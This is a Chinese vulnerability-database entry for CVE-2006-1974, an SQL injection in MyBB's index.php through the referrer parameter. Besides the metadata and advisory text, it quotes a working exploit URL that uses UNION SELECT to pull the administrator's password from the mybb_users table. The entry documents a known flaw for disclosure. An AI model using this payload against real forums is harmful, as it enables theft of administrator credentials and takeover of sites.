MyBB Index.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109690 漏洞类型 SQL注入
发布时间 2006-01-31 更新时间 2006-10-05
CVE编号 CVE-2006-1974 CNNVD-ID CNNVD-200604-403
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/27155
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-403
|漏洞详情
MyBB(MyBulletinBoard)1.04之前的版本中的index.php存在SQL注入漏洞。这使得远程攻击者可以借助于referrer参数执行任意SQL命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/16443/info

MyBB is prone to an SQL-injection vulnerability.

The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

MyBB 1.1.2 and prior versions are reported vulnerable to this issue. 

http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*
|参考资料

来源:MISC
链接:http://www.securityfocus.com/bid/16443/exploit
来源:BID
名称:16443
链接:http://www.securityfocus.com/bid/16443